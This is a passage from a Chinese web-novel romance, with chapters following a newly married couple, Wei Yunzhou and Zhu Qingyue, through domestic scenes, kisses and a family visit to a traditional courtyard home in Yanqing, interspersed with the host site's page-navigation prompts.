老江嘿嘿一笑:“还是有媳妇好吧。” “开你的车。”魏云舟淡淡瞥了他一眼。 早上的会议由他的助理先行代理,进了公司,魏云舟又变成了冷脸男。 等他进了电梯,前台两个女生互相对视了眼: “你说咱小魏总明明笑起来那么好看,怎么成天冷着一张脸啊?” “以前读书的时候,班主任在办公室和老师们笑得可开心了,一到教室就阴着脸,我觉得是一样的道理。” “我竟然被你说服了。” “而且他在咱们面前冷着脸,在家可不一定这样啊,别忘了咱小魏总爱妻如命呢。” “你见过咱们夫人吗?” “他们都没办婚礼,谁见过啊?只知道姓祝。” “好好奇啊,你说我要是去勾引他的助理,是不是会得到第一手八卦资料?” “……赶紧别逗我笑了,上班上班,小心被抓到。” “说说而已嘛。” “……” 祝卿月一整天都没什么心情做事,不是发呆就是在发呆的路上。 期间倒是接了个谢莹的电话,母女俩闲话家常,打发了点时间。 下午五点之后,祝卿月就坐不住了,时不时就得去一趟三楼的大露台。 魏云舟说了晚上回来陪她吃饭,应该也快了。 她闲得没事做,转头去了一楼的厨房。 “今晚做了什么菜?” “按惯例做了两道凉菜,一道虾仁拌脆笋,一道糟三样,因为您喜欢冰镇杨梅小番茄,厨房多准备了一道。” 这道凉菜,魏云舟是不吃的,但祝卿月喜欢,每次厨房做的话,分量会很少,一小碟子。 杨梅是专人采摘,小番茄来自有机农场,蜂蜜也是天然的土蜂蜜,口感酸甜又解腻。 “您现在要吃吗?晚餐前也可开个胃。” “好。” 祝卿月其实不太饿,但一小碟子的杨梅小番茄,她完全能笑纳。 魏云舟的车进大门的那一刻,屋内的祝卿月就接到了信息。 她立刻起身,在阶前迎到了魏云舟。 “你回来了。” “嗯。”魏云舟矜持作答,瞥了眼她的嘴角,“吃了什么?” 这章没有结束,请点击下一页继续阅读!祝卿月下意识用舌头舔了下嘴角,勾了汁水的甜:“杨梅小番茄。” 魏云舟脚步一顿,喉结轻滚:“好吃吗?” “还有三颗,你要吃吗?”祝卿月单纯地问,心里其实想要和他一起分享,但他以往都不吃,她也不好强人所难。 “嗯。”魏云舟应了声,“拿三楼吃吧,我换套衣服。” “好,你先去。” 碟子里只剩三颗,祝卿月忙不迭跑厨房去了,又向做饭的阿姨索要。 “先生说过您不能多吃,开个胃就行。” “我看见还有半盘呢,就是你们先生要吃的,不信你们去问。” 阿姨可不敢耽误魏云舟的胃,立刻将半盘都给了她。 哇塞!这下能吃个够了,祝卿月偷偷往嘴里塞了一颗杨梅,吃完又塞了颗小番茄。 以前在家里,谢莹也做过这道菜,不过没有这个阿姨做的好吃。 上了三楼,不见魏云舟的身影,祝卿月将冷盘放至露台的圆桌上,转身去找魏云舟。 “杨梅小番茄我拿上来了,你现在要吃吗?” 没人应答,祝卿月又喊了他的名字:“魏云舟?” “我在这儿。”衣帽间传来声音,祝卿月下意识走了过去。 大总裁已经换上了家居服,祝卿月对上他的眼睛,莫名有些不好意思,手指往后挥了下: “我拿上来了,你去吃吧。” “不一起吗?”魏云舟走过来。 “我吃过了,再吃晚饭都不用吃了。”祝卿月说。 “甜吗?”魏云舟问。 “酸甜适中。”祝卿月答。 咫尺之间,魏云舟又近了一步,他将祝卿月抵在中岛台,两手悠闲又自然地撑在她两侧: “那怎么办?我吃不了太酸的。” 语气低沉又温柔,听得祝卿月心里一紧,屏住了呼吸。 “不酸的。”祝卿月看着他的眼睛,有些局促,“你尝尝看就知道了。” “好,”魏云舟低头,几乎贴着她的唇,“我尝尝。” 祝卿月的腰折了大半,魏云舟却故意不去托她,以至于她下意识勾住他的脖颈。 魏云舟坏就坏在这里,事后可以狡辩是祝卿月先动手的,而且这样还略有情趣。 有些人表面上看着正经,其实最不正经。 他不费力地吻住祝卿月,清洌的凉意和甜意在嘴里划开,确实很甜,不酸。 头顶的水晶灯繁复漂亮,而被灯光照耀的祝卿月更甚。 魏云舟双手掐住她的腰,稍一使力,位置转换,祝卿月成了视角高的人。 祝卿月有些喘不过气,魏云舟吸食了她胸腔里挤出来的全部空气。 头脑晕乎乎的,手脚无力地垂在他脑后,祝卿月想要躲开,却被更用力地吻住。 “魏云舟……”从四片唇瓣的贴合中挤出气音。 魏云舟终于由动情深吻转为浅尝制止,祝卿月得以吸食到新鲜空气,整个人软成一滩烂泥靠在他胸膛。 以前听丁怡说过,情侣刚在一起的时候,亲吻会上瘾,亲久了会缺氧。 当时的祝卿月半信半疑,今天是彻底信了。 魏云舟不但亲得久,他还亲得凶,本就对他心动的祝卿月毫无招架之力。 魏云舟带着温柔的笑意揉了揉祝卿月的后脑勺,逗她:“要不明天开始锻炼身体吧。” “为什么?”祝卿月脑子没转过来,傻乎乎地问。 魏云舟直言:“以便下次亲吻能够久一点。” “你真是……”祝卿月想骂都没力气了,最终不自觉撒了娇,“烦人。” 她脸上一闪而过的娇羞是因为自己,魏云舟低头凑近,故意问:“哪里烦人?” “哪哪都烦人。”祝卿月抬手推着他胸膛,“你到底要不要去吃东西了?” “吃。”魏云舟心情不错,将她从中岛台上抱下来。 来到大露台,魏云舟捏了一颗杨梅扔进口中,又给祝卿月塞了颗小番茄。 和刚才的吻一个味道,祝卿月撇开脸,说:“晚饭估计好了,下楼吃饭吧。” “好。” 魏云舟慢悠悠地跟在祝卿月身后去了餐厅。 厨房今晚还蒸了鱼,鱼肉都挑好了,祝卿月挺爱吃的。 “我发现自从我搬来丹枫公馆,就没吃过我不喜欢的菜。”祝卿月觉得奇怪,“咱家的味蕾这么共鸣吗?” “傻。”魏云舟轻笑,“那是我问了岳母,让厨房改了之前的菜单。 “你什么时候问的?”祝卿月将鱼肉嚼完,“你还瞒着我做了什么事?” “领证当晚问的。”魏云舟说。 在此之前,他先接了孟棠的电话,说祝卿月一个小姑娘搬到新地方,人生地不熟,让他有点耐心。 他本来想要厨房那边亲自去问祝卿月的口味,又怕她不好意思说,干脆给谢莹打了电话。 “我妈当时一定很高兴。”祝卿月抬眸笑了笑,“她对你可满意了,你不知道吧?” “我大概能看出来一点。”魏云舟说,“你妈妈看我的眼神和看别人的眼神不一样。” 这章没有结束,请点击下一页继续阅读!祝卿月:“那你很牛了,能看出来,我妈看着软弱可欺,其实心里明镜似的,她对旁人都一副老好人的样子。“ “适度的伪装可以让自己更加安全。” 祝卿月一愣,随即一笑:“怪不得我妈喜欢你,她在祝家装了那么多年,大家都以为她就是个为爱坚守的好女人,都在忽略她的感受和需求。” 人一旦被架在某个高位,身边还有一个软肋,大概很难从高位上下来。 “这次出门,可以好好陪她散散心。” “嗯,我确实也这么打算,就是麻烦你了,还要陪我回去一趟。” “我也好久没回了。”魏云舟的眼神温柔又缱绻,“不管走了多远,我待得最舒适的地方还是雁清的宅院。” “我听说宅子很大,会在里面迷路吗?”祝卿月问。 “哪有这么夸张。”魏云舟失笑,“房子从外面看就是个长方形,最后面的院落是工坊和木料房,一般闲人免进。” “中院是房间最多的地方,正房我爸妈住,东西两边,我和大哥一人一房,以前小鱼姐没有嫁给我大哥的时候也有自己的房间,后来被他们空置了,我爸一直想改成儿童房来着。” “厨房、茶室什么的都在中院,你到时候去看就知道了。” “那前院是干什么用的?”祝卿月很是好奇。 魏云舟:“前院是佣人住的,还有接待厅和一个木雕展厅。” “那我可以带相机吗?”祝卿月做了个拍照的手势,“我还没拍过木雕。” 魏云舟“嗯”了声:“可以带,你想拍就拍,大嫂很好相处的。” 祝卿月知道魏云舟小时候有一半时间是在雁清长大的,也知道他大嫂对他极好,所以她对程逾也很是好奇。 时间飞逝,很快来到了十月,气温适宜,是出门的好时候。 谢莹被单独安排在一辆车,孟棠和魏川本要亲自来接,谢莹觉得兴师动众,婉拒了。 祝卿月则是被魏云舟直接拎上了自己的车,谢莹看到摇了摇头,心想这两人感情是越来越好。 希望这次的雁清之行,他俩能成为真正的夫妻。 “我妈都看见了。”祝卿月在车里抱怨了一句。 “我看岳母挺开心的。”魏云舟说,要是让他坐四个小时的车,而车里没有祝卿月,该是多么无聊。 商务车前后隔断,魏云舟拍了拍自己的大腿,示意祝卿月坐过去。 这两人自从打开亲吻的大门,仗着夫妻的身份,已经上演了许多令人耳红心跳的戏码了。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第317章 先婚后爱(14) 祝卿月拍开他的手,在他身边的位置坐下。 魏云舟一言不发地看着她,眼睛里装着不满。 “魏云舟,你觉得自己是个正经人吗?”祝卿月轻笑,调侃的意味很明显。 “怎么不是?”魏云舟挑了下眉,“不是你先搂住我的?而且,你也挺享受的,别说你不喜欢接吻。” “……闭嘴。”祝卿月盯着滚烫的脸瞪着他,又觉得这两个字不够威力,补充道:“不要脸。” 她也不够矜持,被人搂着腰,捧着脸,就忘了身在何处,和他在衣帽间亲到忘情。 昨天更是过分,衣服都脱光了。 夫妻情趣罢了,魏云舟被骂,脸上还挂着浅笑,转头献殷勤:“看电影吗?” “不看,我要看《小马宝莉》” “那是什么?” “《小马宝莉》你都不知道?”祝卿月开了屏幕,“动画片啊,你小时候不看啊?” 魏云舟摇头:“没看过,我小时候对动画片也没兴趣。” “那你对什么有兴趣?”祝卿月搜索到动画片,开始播放。 “对数字相对有兴趣一点,不然就看我妈做木雕,你要是喜——”魏云舟的话戛然而止。 “嗯,喜什么?”祝卿月不明白这人怎么话说一半。 “没什么,看吧。” 他还没看过动画片,托她的福,在26岁这一年接上轨了。 看了三集,祝卿月转头问:“你能记得住他们的名字吗?” 魏云舟点点头:“记住了,但主角为什么一直没出来?” “啊?开篇不就已经出来了吗?”祝卿月有点懵。 魏云舟一本正经道:“可我不记得有一只叫‘宝莉’的小马。” 祝卿月愣了下,随即爆笑,笑了许久才停下顺了口气:“没有叫宝莉的小马,因为动画片叫《My Little Pony》” “……” 丢人丢到太平洋,魏云舟稍微有些自闭。 十二点左右,两辆黑色商务车停在雁清大宅的门口,左邻右舍这些年早已习惯孟家门口的豪车,没有一丝惊讶。 “孟棠,你家又来什么名人了?”邻居大爷笑着调侃。 “我小儿子带着他媳妇和岳母过来住一段时间。”孟棠笑了声。 “早听说你小儿子结婚了,就是不知道我们能不能吃到这喜糖了。” “能的。”孟棠笑道,“等以后摆酒席,一定邀您出席。” “那我可就等着了。” 商务车的车门被拉开,谢莹率先下了车,孟棠和魏川笑脸相迎:“一路辛苦了。” “不辛苦。”谢莹打量了下门头,“真气派啊!” “都老得不成样了。”孟棠谦虚道,“里面请吧,歇一歇咱们用饭。” “好。” 谢莹微微转过身,祝卿月和魏云舟落后一步跟了上来。 “爸,妈。”祝卿月乖巧地打了招呼。 孟棠和魏川应了声:“好,别站在门口说话了,进去吧,你们的房间都收拾好了。” 祝卿月跟在长辈的身后,踏上台阶进了正门。 雁清老宅这边目前有两位阿姨,为了迎接谢莹和祝卿月,又找了两个人来帮忙。 前院影壁上刻着松鹤延年,祝卿月抵了抵魏云舟:“这个应该不是你妈妈刻的吧?” “这是石雕。”魏云舟失笑,“我小时候就有了。” 过前院后,中院布局映入视野,一看就是宅子的核心生活区,格局对称,主次分明。 屋顶铺的青瓦,廊下装饰的是木雕,长廊连接所有房间,廊柱雕花,蜿蜒而别致。 魏云舟见身边没动静,扭过脸问她:“你还喜欢吗?” “喜欢,妈呀,怪不得妈和大嫂愿意常年待在这里。”祝卿月感叹了句。 经过厨房,庇荫处一大丛紫茉莉还开得盛,这种花看着也不好看,但开在这样的院子里就别有一番趣味了。 孟棠将谢莹引进正厅,上了茶水,问了她的身体情况。 “挺好的。”谢莹说,“后来我不大出门,早就养回来了,不过今天来你这儿一看,心胸陡然又开阔了些。” 孟棠说:“小地方住得静心,我还怕你不习惯。” 谢莹跟她开玩笑:“这么好的地方我还不习惯,我到底想干嘛?” 孟棠失笑:“不知道你认不认识谢泠音,跟你应该是本家。” “谢泠音?”谢莹话语一顿,“这名字听着耳熟。” 祝卿月问魏云舟:“妈说的这个人是谁啊?” 因为姓谢,可能和谢莹是本家,祝卿月本能的好奇。 “我妈的朋友,也是大学时候的室友,两人玩得很好。”魏云舟耐心地给她解释。 这时,孟棠给谢莹说了谢泠音的一些情况,谢莹恍然:“哦,她啊,我还真认识。” “真的?”孟棠惊喜道。 谢莹一连说了几条,都和谢泠音对上了号,两人越聊越开心。 祝卿月也没想到谢莹和她婆婆的朋友还有个七拐八拐的亲戚关系。 显然,因为谢泠音,孟棠和谢莹的关系一下亲近了起来,聊起来更是没完没了,还是魏川适时打断,他们才转移去了餐厅。 本小章还未完,请点击下一页继续阅读后面精彩内容!程逾还有最后一期节目要录制,一个礼拜后,才能和孟竞帆赶回来。 要是有他俩在,餐桌上的氛围必然更加热闹。 吃完饭,孟棠让他们都去休息,祝卿月想要逛一逛宅子,被魏云舟扯住胳膊: “下午有的是时间,坐了半天的车,歇一歇。” “好吧。” 祝卿月跟他回了房。 直至两人进了长廊,孟棠才转头笑着跟魏川说:“云舟和月月这次回来好像不太一样了。” “是有点不太一样。”魏川说,“大概是有了感情。” “那时间还挺短的。”孟棠信了感情是可以培养的这句话,“我上次见他俩,还懵懂局促着呢。” 这次回来,两人之间的小动作明显变得多了。 “你还是不了解魏云舟,他要是不喜欢,怎么会把人娶回家。”魏川似乎看透一切。 孟棠却蹙眉:“我不了解他?他确实是把感情放到最后的人,既然接了魏家的担子,只会以魏家的利益为先。” “我没有否认他这一点,”魏川温柔地给自己老婆解释,“但你也不能忽略他是一个普通男人,也会喜欢长得漂亮的,以前我大姐给他相看过不少名媛千金吧,有现在的你儿媳妇好看吗?” 孟棠一时哑然:“你不要告诉我,他只是单纯因为月月的外貌而娶了人家。” 魏川忍笑:“没关系,外貌才是大杀器,只要他喜欢了,祝卿月做什么你儿子都觉得可爱。” 孟棠:“……” 果然还是男人了解男人。 外貌协会的会长此刻脱下了外套,转头坐到床上,拍了拍身边的位置:“来睡会儿。” 祝卿月对他房间的家具摆件很有兴趣,这儿摸摸,那儿看看。 依照魏家和孟家的实力,只怕屋里这些低调的物件都是真的。 “二少爷,”祝卿月转过头就扬着笑脸,“你多久回来一次啊?” “小时候在z市读书的时候还经常会,后来出国留学,回国工作基本一年也就回一两次。” “真是浪费啊。”祝卿月感叹了声,“房间还是要有人住才有人气,你哥嫂的房间绝对和你这里的氛围是不一样的。” “你喜欢的话,以后常回来就是。”魏云舟扯住她胳膊,稍稍使力,祝卿月跌坐在他腿上。 “你别乱来啊。”祝卿月开口警告,“还在你家呢。” “什么叫我家?”魏云舟勒了下她的腰,“这也是你的家。” “好了好了,我说错了。”生怕被继续找茬,祝卿月赶紧哄人,“你不是说要睡觉的嘛。” 魏云舟什么都受得了,就是受不了祝卿月的撒娇,还是刻意的。 他当即投降:“我陪你一起。” “好。” 祝卿月还没有和魏云舟一起午休过,和晚上不同,白天光线相对亮一些,对方不管什么眼神亦或是表情都能看得清清楚楚。 祝卿月睫毛轻颤,魏云舟抬手刮了下:“睡不着?” “你不也没睡。”祝卿月当即睁开眼睛,“不然你怎么知道我没睡?” “我怕你认床。” “不会,我从祝家搬去丹枫公馆,不也好好的。” 魏云舟也不强迫她,说:“睡不着你就玩玩手机,我闭眼休息会儿。” “算了,入乡随俗,我也陪你睡一会儿。” 魏云舟没睡着,只是闭着眼睛小憩片刻后就起了。 出门的时候,正巧碰到孟棠,他走过去打招呼:“妈,你也起了?” “嗯。”孟棠应了声,“和月月相处得怎么样?” “挺好的。”魏云舟说,“妈,您近期忙吗?” “不忙,怎么了?” “来。”魏云舟伸手去扶孟棠,“我有件事想要拜托您。” “什么事啊?”孟棠被他推着往后院的工坊去,“神神秘秘的。” “她生日快到了,我想请您雕刻一套礼物。” 魏云舟一直纠结自己送什么,今天过来的路上才有了灵感。 “雕刻什么?”事关儿子的终身幸福,孟棠还是不含糊的。 “一个动画片的主角,叫《小马宝莉》” “哦,就是一匹小马,叫宝莉——” “不是。”魏云舟忍俊不禁,“《My Little Pony》宝莉是Pony的音译。” 孟棠:“……那主角叫什么?” “好几个呢,我搜一下吧。”魏云舟拿出手机,搜索后递给了孟棠。 孟棠接过后端详了一番,说:“倒是简单。” “那您仔细着做?” “行。” 了却一桩心事,魏云舟心满意足地离开了北院。 孟棠站在原地摇头失笑,看来她这个二儿子也栽了。 魏川出来的时候,视野里只能捕捉到魏云舟一闪而过的身影,他来到孟棠身边,问:“你俩说什么呢?” “小马宝莉。”孟棠故意想考考魏川知不知道小马宝莉的动画片里没有宝莉的事,“你儿媳妇喜欢看,你儿子让我给她雕刻一组动画片里的角色。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“那她喜欢紫悦还是碧琪?”魏川问。 “你竟然知道?”孟棠惊讶,“你一个人躲起来偷偷看过?” “我为什么要躲起来偷看?”魏川哭笑不得,“孟竞帆那小子小时候爱看。” 孟棠:“……” 怪不得他知道,小时候陪孟竞帆看电视这种活动,都是魏川在做。 孟棠有些惭愧了。 “这活还是让小鱼回来干吧,你前段时间刚伤了腰。”魏川有些担心。 “没事,这几个小东西我站那儿就能刻好,你儿子亲自找来了,我还能推给小鱼做吗,再说了小鱼也忙。” 魏川可拗不过她,只能幼稚地哼一声。 魏云舟回到房间,见时间差不多了,坐在床沿推了推祝卿月:“起床,不能再睡了。” 祝卿月小猫似的应了声,惹得人心里发软。 魏云舟轻笑,碰了下她的脸:“再睡头要疼了,你不是想逛逛宅子,我这会儿正好有空。” 祝卿月睁开眼睛:“嗯?这会儿正好有空?你工作不是都做完了?” “砍柴挑水刷缸……不都是活儿?”魏云舟故意逗她。 祝卿月一下精神了,她麻利地爬起来,语气略有讨好:“听着好有意思,能带一个我不?” “行啊,你先起床洗把脸。” 祝卿月还有什么不愿意的,她中午进来的时候就在厨房南侧看到一口水缸,当时就比较好奇。 洗完脸,祝卿月还特意换了套舒适的运动装,结果魏云舟只是带她去庭院石桌上小憩。 祝卿月盯着缸,说:“咱们什么时候去刷?” 魏云舟朗声大笑,听得祝卿月都愣了。 出了房门的谢莹也是一愣,她这还是第一次听到魏云舟这样爽朗的笑声。 孟棠从走廊对面而来,对谢莹说:“我也好久没听到他这样笑了,他小时候性子就内敛,常被左邻右舍开玩笑他才应该是哥哥,看来当初和月月结婚,是个特别正确的选择。” 谢莹也略有感慨:“孩子们幸福就好,我们做长辈的就这么点期盼了,我们月月从小没有爸爸,我也是看中云舟稳重。” 孟棠失笑:“现在看可一点不稳重。” 谢莹:“我怎么看都觉得好。” 两人相视一笑,岁月静好。 阿姨端来下午茶,魏云舟的视线看不到两位靠近的母亲,径自捏了块白玉糕递至祝卿月唇边: “饿不饿?吃一点?” 祝卿月笑眯着眼睛,一口咬掉一半,剩下一半,被魏云舟扔进了自己口中。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第318章 先婚后爱(15) 不知道是不是换了个地方,换了心境,祝卿月觉得白玉糕很好吃,又拿了一块。 她问魏云舟:“你知道阿姨怎么做的吗?” “就是传统方子,山药和糯米粉做的。”魏云舟说,“可能食材来源不一样,她们买菜都去几条街外的一个小市集。” 软糯弹牙,口感绵密,祝卿月又吃了一个。 好在精致小巧,魏云舟也没拦着。 魏云舟给祝卿月倒了杯椰香乌龙茶:“吃完带你到处逛逛。” 祝卿月一听,当即拍了拍手,端起杯子将茶水饮尽。 魏云舟无奈摇头,看到一起过来的孟棠和谢莹,说:“我带她去逛逛。” “去吧。”孟棠挥了挥手。 “从前院开始吧。”祝卿月拉住魏云舟的手腕。 前院东边的展厅和待客厅,西边住的住家保姆,祝卿月自然对展厅很有兴趣,特意询问:“我能进去吗?” 魏云舟:“可以,这里收藏着我妈和大嫂小时候的作品。” 祝卿月进了厅内,有进入小型博物馆的错觉,她看着眼前精美绝伦的木雕作品,十分怀疑地转头: “你确定是她们小时候雕刻的吗?” “当然。”魏云舟失笑,“我还能骗你?不信你去问问妈。” “倒也没不信,就是觉得不可思议。”祝卿月说,“小时候就雕这么好,天生吃这碗饭的,大嫂的作品也是,怪不得你们兄弟俩没有继承衣钵,应该是没天赋吧?” “我大哥姓孟,一开始当继承人培养的,但确实没什么天赋,至于我,我不感兴趣。” “我挺感兴趣的,但我手笨。” “嗯,看出来了。” 祝卿月呵呵两声:“我才不信你看出来了。” 中院没什么好看的,长廊环绕,房子紧接着房子,祝卿月更感兴趣的是后院。 不过她停在了院门口,没有进去。 魏云舟也停下脚步,问她怎么不进去。 “这是艺术诞生的地方,里面那么多木料,我还是不进去了,万一碰到什么就不太好了。” 现在的工坊程逾用得多,魏云舟转念一想,同意了她的止步。 “要不出去转转?”魏云舟指了指墙外头。 祝卿月想了想,有些不太确定:“现在吗?” “那不然嗯?” “左邻右舍都认识你吧,我怎么有种丑媳妇见公婆的局促感?要不明天再出去吧。” 她都能想象得到大家看她的眼神,祝卿月想了想,还是决定缓一缓。 突然,她想起什么,一脸兴奋地看着魏云舟:“我们什么时候去刷缸,我对缸的印象还是司马光砸缸。” 魏云舟:“……” 缸应该不用刷,这是他爸的专属福利,每次惹孟棠不开心,孟棠就指着院里的缸,让他去刷。 但见祝卿月的架势,好像势必要刷到这口缸。 “今天不行。”魏云舟安抚她,“今天你们过来,缸肯定是刷过的,过几天吧,有的是机会。” 说着说着,他自己都想笑,不知道怎么就跟院里的这口缸干上了。 “好吧。”祝卿月颇觉遗憾。 “月月。”远处的谢莹朝她招了招手。 祝卿月走过去,笑着问:“妈,怎么了?” “你不是带了相机过来,给我们俩拍张照片?”谢莹说。 “好啊。”祝卿月眼眸一亮,“你们等着啊,我现在就去拿。” 祝卿月有个拍人像特写的主力镜头,平时爱惜得很,她拿来后检查了下,拿着相机默默往后退去。 孟棠和谢莹所在的石桌上方是一棵桂花树,魏云舟记得是他十几岁的时候种的。 “别看我啊。”祝卿月半蹲,拇指轻轻转动对焦环,“你们照常闲谈。” 快门声连响几声,祝卿月却没拍过瘾,换了角度又拍了几组。 她俩脸上有淡妆,长得好,还上镜,祝卿月觉得怎么拍都好看。 祝卿月给两位母亲看了眼镜头,说:“等我导出照片再发给你们。” “好。” 谢莹之所以提议拍照,也是想纪念一下。 祝卿月镜头一转对准了魏云舟,按下了快门。 魏云舟稍稍惊讶:“怎么给我拍了?” “你不给拍啊?”祝卿月抬眸瞥了他一眼。 魏云舟耸耸肩:“我说了不算。” “那谁说了算?”祝卿月忍着害羞问了句。 还不等魏云舟回答,谢莹笑了声:“小年轻谈恋爱还怪有意思的。” 祝卿月这才意识到自己和魏云舟说话,以至于忘了身后的两位母亲。 她干笑一声,扬了扬手中的相机:“我去弄照片。” 回到房间,她打开自己的笔记本电脑,将照片导入了电脑开始精修。 片子没什么选的,就那么几张。 魏云舟没有打扰她,自己一个人出了门。 好久没回雁清,但街道小巷一如从前,天逐渐黑了,街边的小吃摊纷纷出动。 魏云舟在糖葫芦摊位前驻足,买了十根山楂糖葫芦。 快到饭点,他也不准备买别的给祝卿月吃,他们还要在这里待上半个月,想吃的话,晚上带她出来就是。 本小章还未完,请点击下一页继续阅读后面精彩内容!只是路过一家灯盏糕的摊位时,他还是停了下来,买了六个。 祝卿月不知道吃没吃过这玩意儿。 刚到大门口,手机响了起来,魏云舟发现是祝卿月打来的,接了。 “你人呢?” “出去给你买东西了。” “买什么了?” “马上你就知道了。“ 祝卿月挂了电话,趿着拖鞋开了房门,一根晶亮的糖葫芦堵在了她眼前。 “糖葫芦。”祝卿月眼眸一亮,“去哪儿买的啊?” “吃吧。”魏云舟说。 “就买了一根啊?”祝卿月往他手上瞥,“我一个人吃吗?” “买了十根,已经让我妈分了。”魏云舟说。 “那你怎么不吃?” “不爱吃,又甜又酸。” 祝卿月咬下一颗,鼓着腮帮子说:“那我一个人笑纳了。” “吃半根就行,这里还有灯盏糕,也尝半块,待会儿要吃饭了。” 要是不阻止,就她那饭量,晚饭也不用吃了。 “那剩下的半块岂不是浪费,留到明天我可不吃啊。”祝卿月说着又咬下一颗山楂。 “我吃行了吧。”魏云舟拿走她的糖葫芦,给她揪了半块糕。 灯盏糕口感酥脆,但口味中规中矩,魏云舟一眼就知道她不爱吃,转头给她倒了杯茶。 祝卿月接过一饮而尽,对他说:“我照片弄好了,你来看看。” 魏云舟跟她去了里间,照片还在笔记本上,第一张也是唯一的一张就是他在海棠树下的照片。 嘴巴微微张开有些诧异,完全是猝不及防的一个状态。 “不错,很好看。”魏云舟夸了句。 祝卿月失笑:“那不是你长得好看嘛。” 魏云舟将半块灯盏糕吃完,说:“当你夸我了。” “谁夸你了,这不是事实嘛。”祝卿月将照片导入手机相册里。 魏云舟拿湿纸巾擦了下手,外头传来阿姨叫吃饭的声音。 晚饭依旧丰盛,祝卿月一不小心吃撑了。 孟棠让魏云舟带她出门散散步,天已经黑了,祝卿月欣然应允。 刚出宅子的门,两人一路向东,到交叉路口的时候,魏云舟突然笑了声。 祝卿月好奇地撇过视线:“笑什么?” “我爸以前总和我妈来这里散步,我哥嫂也是。”魏云舟微微偏头,对上她的视线。 祝卿月有些不自在,传统啊,传到他们这里了。 这个点,路上有不少散步的人,祝卿月不识路,只能跟在魏云舟的身侧,稍稍落后一步,惹得魏云舟总要回头等她。 等了几次总有人回头看他俩,魏云舟干脆朝她伸出手:“这样不会走散。” 祝卿月将手搭上去,蜷缩成拳,被他的掌心牢牢包裹。 她抬起头,看着魏云舟优越的侧脸,心想这样过一辈也是不错的。 两人的关系在亲密接触后急速升温,魏云舟对她,应该是喜欢的吧?从肢体动作可以感觉得到。 过了马路,路过一家超市,有个小孩闹着要吃冰淇淋,祝卿月停了下来。 魏云舟手下稍稍使劲:“想吃明天再来买。” “现在就想吃。”祝卿月竖起食指,“我买一个,咱俩一起吃。” 魏云舟蹙眉:“吃完肚子疼,受罪的是你自己。” “哪有那么夸张。”祝卿月说,“这才十月出头,天气还不冷呢。” 魏云舟没办法,只好给她买了一支抹茶味的。 祝卿月率先递到他唇边,魏云舟偏过头,说:“你自己吃吧。” 祝卿月抿了一口,闭着眼睛抖了下,牙齿被冰到了。 魏云舟气笑了:“好吃吗?” 不好吃,只有甜味,祝卿月却点了点头,故意撩拨他:“你买的,当然好吃了。” “哼,就哄我吧。” “谁哄你了。”祝卿月左看看右看看,发现前后没人,突然扯住魏云舟的衣领,踮脚亲了他一下,随后笑意盈盈地问:“不甜吗?” 魏云舟追着就要吻下去,却被她狡黠地躲开:“别别,有人。” “……”魏云舟余光确实瞥到后面有人,暂时放过了她,只是眼神侵略性十足,仿佛在说“回去有你好看的”。 祝卿月看懂了,不禁暗骂自己,不该撩他的。 之后,她老老实实吃完了一支冰淇淋,没再去惹魏云舟。 逛了两圈,两人就回了家。 回到家的时候,院子里空无一人,看样子都去睡了。 两人一前一后洗了澡,也关了灯。 祝卿月突然觉得哪里不对,她拿了枕头旁的手机,对魏云舟说:“才九点,就睡了?” 魏云舟失笑:“在这里确实会让人忽略时间,睡不着的话,我带你看个有趣的。” “什么?”祝卿月十分好奇,总感觉这座宅子还有很多东西是她没有探完的。 魏云舟说:“那边的窗帘是可以开的,你把窗户支起来。” 祝卿月听了他的话,起身坐起来打开了床帘,支起了窗户。 “晚上睡觉不关吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“过来。”魏云舟拍了拍身边的床铺,“你躺下试试。” 祝卿月狐疑地挨着他平躺,魏云舟在她耳边说:“往窗外看。” “有什——”祝卿月的话戛然而止。 中秋临近,月亮清亮晃眼,柔柔一层银色的光辉照耀着庭院,像镀了一层朦胧的滤镜。 有多久没见过这样清亮的晚上,祝卿月已经不记得了。 她不知不觉转过了身体,背对着魏云舟。 魏云舟一愣,一轮明月就让她卸下了防备?他几乎没思考,从她身后抱过去。 祝卿月的内心坍塌了一块,她轻笑一声,转头问魏云舟:“你是不是每年中秋都能见到这么亮的月亮?” 躺着就能看,悠闲又惬意。 “小时候,我们三个人把床推到墙边,横着躺一排,看月亮数星星。”魏云舟小声给她描述,“我比较安静,他俩说起来没完没了,有时候耳朵都疼。” 祝卿月失笑:“你躺他俩的中间吗?” “是啊。”魏云舟也笑,“谁让他俩总是打架呢,我为了家里的和平,只能在中间当缓冲剂。” 祝卿月捶床笑:“那真是辛苦你了。” “他俩是真烦。”魏云舟嘴上这么说,语气却没嫌弃,“一天不吵浑身难受,总得拌几句嘴才舒服。” “结婚了也这样吗?对抗路夫妻?”祝卿月有些好奇。 “人的性格会随着结婚而改变吗?”魏云舟觉得并不能,“不过有他俩在,宅院里也热闹。” “再过几年只怕更热闹。”魏云舟将她搂紧,“我大哥今年年底会停一年半载的工作,他俩打算要孩子了。” “孩子好啊,生下来叽叽喳喳的,多热闹。”祝卿月都能想象得到那样的画面,“你对小时候还有印象吗?” “有一点印象,没什么特别的事,家里有相册,你感兴趣的话,明天可以看看。” “好。” 两人相拥着闲聊,没一会儿,困意袭来,祝卿月就着一抹清辉睡着了。 魏云舟起身关了窗,省得她着凉。 在雁清待了一星期,祝卿月哪哪都觉得舒适,左邻右舍都混熟了。 大家都夸她性格好,长得漂亮,每当这时候,她就对着魏云舟挑挑眉。 甚至还有婶子约她打麻将的,祝卿月忙说:“今天不行,我大哥大嫂要回来。” “大明星要回来了?” “是呢。” 祝卿月笑着和人家挥挥手,刚到大门口,看到了一对板着脸的男女,似在互相埋怨。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第319章 先婚后爱(16) 孟竞帆是大明星,祝卿月在电视里见过,他身旁的定然就是程逾了。 她刚要上前打招呼,两人你一句我一句地吵了起来: “我有没有说过不能吃,你阳奉阴违在前,无理取闹在后,我还不能说两句了?” 孟竞帆有点委屈,但嗓门一点不低。 “我吃个冰淇淋怎么了?死了吗?”程逾给了他一个白眼。 “说话一定要这么呛?”孟竞帆无奈了,“最后吐得死去活来的人是谁?又是谁照顾你的?” “是你,但你能不能别一句话翻来覆去地说?” 三两句话,祝卿月摸清了两人吵架的原因,她尴尬地立在一旁,被孟竞帆挡得严严实实。 眼前两人还有继续吵的架势,她忙给魏云舟发了信息。 